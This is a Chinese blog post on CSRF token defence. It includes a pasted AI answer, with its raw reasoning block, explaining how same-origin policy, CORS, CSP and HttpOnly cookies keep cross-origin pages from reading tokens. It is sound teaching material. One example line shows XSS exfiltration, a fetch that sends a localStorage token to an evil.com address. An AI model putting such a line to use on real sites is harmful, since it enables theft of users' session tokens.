【强制】表单、 AJAX 提交必须执行 CSRF 安全过滤。

本文介绍CSRF(Cross-site request forgery)跨站请求伪造漏洞及其防御策略。通过生成随机token并进行验证,确保用户参数安全,防止攻击者利用恶意链接进行数据库修改。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

CSRF(Cross - site request forgery) 跨站请求伪造是一类常见编程漏洞。对于存在
CSRF 漏洞的应用/网站,攻击者可以事先构造好 URL ,只要受害者用户一访问,后台便在用户

 

不知情情况下对数据库中用户参数进行相应修改。

 

具体思路:

1、跳转页面前生成随机token,并存放在session中

2、form中将token放在隐藏域中,保存时将token放头部一起提交

3、获取头部token,与session中的token比较,一致则通过,否则不予提交

4、生成新的token,并传给前端

参考:http://blog.youkuaiyun.com/jrn1012/article/details/52750883

<think>我们正在讨论一个关于浏览器安全机制的问题:从非安全页面(例如http://evil.com)能否通过脚本获取安全页面(例如https://example.com)的token?这涉及到跨域安全机制和浏览器安全策略。 根据浏览器的同源策略(Same-Origin Policy),不同源(协议、域名、端口任一不同)的页面之间的脚本是隔离的,不能互相访问DOM、Cookie、LocalStorage等资源。因此,如果恶意页面(非安全页面)试图通过脚本获取安全页面的token,将受到以下限制: 1. **同源策略限制**:浏览器禁止跨域脚本直接访问其他源的页面内容(包括DOM、LocalStorage、SessionStorage等)。因此,非安全页面上的脚本无法直接读取安全页面的LocalStorage或SessionStorage中的token。 2. **跨域资源共享(CORS)**:如果安全页面没有明确设置允许跨域请求(例如通过CORS响应头),那么非安全页面发起的跨域请求将被浏览器阻止。即使安全页面设置了CORS,默认情况下也不会携带凭证(如Cookie、HTTP认证等),除非设置了`withCredentials`标志,但即使这样,服务器也必须明确允许该来源。 3. **Cookie的HttpOnly和Secure标志**:如果token存储在Cookie中,并且设置了HttpOnly标志,那么JavaScript无法通过document.cookie读取该Cookie。同时,Secure标志确保Cookie只在HTTPS连接中传输,因此非安全页面(HTTP)无法通过脚本读取安全页面(HTTPS)的HttpOnly Cookie。 4. **LocalStorage和SessionStorage**:这些存储机制也受同源策略保护。非安全页面无法访问安全页面的存储空间。但是,如果安全页面存在XSS漏洞,那么攻击者注入的恶意脚本(同源)可以读取这些存储,但这不属于跨域攻击。 5. **跨域脚本攻击(XSS)**:如果安全页面存在XSS漏洞,攻击者可以注入恶意脚本,该脚本在安全页面的上下文中运行,从而可以读取该页面的token。但这是安全页面自身的安全漏洞,而不是跨域问题。 6. **跨站请求伪造(CSRF)**:虽然CSRF攻击可以诱使用户在安全页面发起请求,但攻击者无法直接读取响应内容(因为同源策略限制跨域读取响应),因此无法通过CSRF获取token(除非有其他的漏洞如XSS配合)。 7. **浏览器安全沙箱**:每个浏览器标签页或窗口都在独立的沙箱中运行,不同源的页面之间无法直接通信(除非通过安全的跨域通信机制如postMessage,但需要双方协作)。 因此,总结如下: - **如果安全页面没有漏洞(如XSS)**:非安全页面无法通过脚本直接获取安全页面的token,因为浏览器的同源策略会阻止跨域访问。 - **如果安全页面存在XSS漏洞**:那么攻击者注入的脚本(同源)可以读取token并发送到攻击者控制的服务器。但这已经不属于跨域攻击,而是XSS攻击。 引用中提到的localStorage暴露API给同源脚本,所以如果安全页面存在XSS,那么存储的token会被窃取[^1]。另外,跨域请求中Cookie的发送受到同源策略限制[^2],CSRF Token机制可以防止跨站请求伪造[^3],而Token验证机制则依赖于安全存储和传输[^4]。 所以,答案是否定的:非安全页面无法直接通过脚本获取安全页面的token,除非安全页面存在漏洞(如XSS)使得攻击者可以在同源上下文中执行恶意脚本。 **相关浏览器安全机制:** - 同源策略(Same-Origin Policy) - CORS(跨域资源共享) - HttpOnly和Secure Cookie标志 - 内容安全策略(CSP)可以进一步限制脚本执行 §§相关问题§§ 1. 同源策略具体限制哪些操作? 2. 如何防止XSS攻击窃取token? 3. 跨域通信的安全方法有哪些?</think>### 跨域脚本获取安全页面 Token 的可行性分析 **核心结论**:**非安全页面(如 `http://evil.com`)无法通过脚本直接获取安全页面(如 `https://example.com`)的 Token**,这是由浏览器的安全机制强制保证的。以下是关键原理和限制机制: --- #### 一、浏览器安全机制的限制 1. **同源策略(Same-Origin Policy)** - **核心规则**:脚本只能访问与自身**同源**(协议+域名+端口完全相同)的资源。 - **跨域场景**: - `http://evil.com` 的脚本尝试访问 `https://example.com` 的 Token → 被浏览器拒绝。 - 错误示例: ```javascript // 在 http://evil.com 中尝试读取 https://example.com 的 Token const token = localStorage.getItem('token'); // 返回 null(跨域访问失败) ``` - **影响范围**:包括 `localStorage`、`sessionStorage`、`Cookies` 和 DOM 数据[^1][^2]。 2. **跨域资源共享(CORS)** - **默认禁止**:浏览器默认阻止跨域 AJAX/Fetch 请求(如读取 Token API)。 - **服务端显式放行**:安全页面需返回 `Access-Control-Allow-Origin: https://example.com` 头,且**不包含恶意域名**(如 `http://evil.com`)[^2]。 - **凭证限制**:即使启用 CORS,需同时满足: - 客户端设置 `credentials: 'include'` - 服务端设置 `Access-Control-Allow-Credentials: true` - **但安全页面通常不会为不可信域名启用此配置**。 3. **安全存储隔离** - **Token 存储位置**: | 存储方式 | 跨域访问可能性 | 安全机制 | |----------------|----------------|---------------------------| | `localStorage` | ❌ 完全禁止 | 同源策略隔离 | | `sessionStorage` | ❌ 完全禁止 | 同源策略+标签页隔离 | | `HttpOnly Cookie` | ❌ 完全禁止 | 浏览器禁止 JS 读取[^1][^4] | 4. **内容安全策略(CSP)** - 安全页面可通过 CSP 头限制脚本来源: ```http Content-Security-Policy: script-src 'self' https://trusted-cdn.com; ``` 阻止 `http://evil.com` 的脚本注入或加载[^3]。 --- #### 二、攻击者可能尝试的绕过方式及防御 1. **XSS 漏洞利用(非跨域)** - **唯一可行场景**:若安全页面存在 XSS 漏洞,攻击者注入的同源恶意脚本可读取 Token: ```javascript // 在 https://example.com 页面内执行的恶意脚本 fetch('https://evil.com/steal?token=' + localStorage.getItem('token')); ``` - **防御措施**: - 输入过滤 + 输出编码(见前文) - CSP 限制内联脚本[^1][^3]。 2. **CSRF 攻击(无法获取 Token)** - 攻击者可诱使用户向安全页面发起请求(如提交表单),但: - 无法读取响应内容(同源策略限制) - 无法获取 Token(仅能触发动作)[^3]。 3. **中间人攻击(MitM)** - 非 HTTPS 页面可能被劫持,但安全页面(HTTPS)的 Token 传输受 TLS 加密保护。 --- #### 三、安全实践建议 1. **Token 存储与传输** - 避免 `localStorage`:改用 `HttpOnly Cookie`(JS 不可读) + `Secure` 标志(仅 HTTPS 传输)[^1][^4]。 - 短期 Token:设置短有效期(如 JWT 的 `exp` 字段)。 2. **防御纵深配置** ```nginx # Nginx 安全头配置示例 add_header Content-Security-Policy "default-src 'self'"; add_header X-Frame-Options DENY; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains"; ``` 3. **跨域安全设计** - 禁用通配符 CORS:`Access-Control-Allow-Origin: *` - 校验 `Origin` 头:仅放行可信域名。 --- ### 总结 - **不可行场景**:非安全页面 → 安全页面的直接 Token 读取(被同源策略、CORS、CSP 阻断)。 - **可行场景**:安全页面存在 XSS 漏洞时,同源恶意脚本可窃取 Token。 - **核心防御**: - 严格输入过滤 + 输出编码 - `HttpOnly Cookie` 存储 Token - 启用 CSP 和 HTTPS[^1][^3][^4]。 > ⚠️ **关键认知**:跨域脚本攻击的核心风险在于 **XSS 漏洞**(而非跨域本身),需重点防御代码注入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值